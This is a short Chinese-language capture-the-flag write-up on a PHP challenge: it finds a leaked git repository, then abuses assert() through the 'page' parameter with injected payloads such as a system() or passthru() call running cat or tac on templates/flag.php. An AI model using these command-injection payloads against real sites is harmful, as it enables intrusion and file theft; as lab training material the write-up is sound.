考察:php assert函数的使用,git泄露
好 我们打开题目,随便点一个。。
题目
题目说: 此题缺少关键解题文件的问题已修复,我们感觉可能是git泄露,我们有工具扫描一下
XXX.png
果然我们扫到了很多网址,我们尝试打开,发现flag.php里面什么都没有,我们只能看看index.php
s.png
发现php代码,简单分析一下,flag应该在 templates/flag.php 这个地方,心在我们开始尝试打开这个文件,
之间涉及assert()函数,这是一个把字符串执行php代码
strpos(xxx,zzz)在xxx中寻找zzz,如果成功返回字符位置,如果没有则返回false
很明显page存在可以使用的点
现在我们来构造一下函数
page='.system("cat templates/flag.php;").'
page='.passthur("cat templates/flag.php;").'
产生结果相同
0
或者:
page='.system("tac templates/flag.php;").'
是是是.png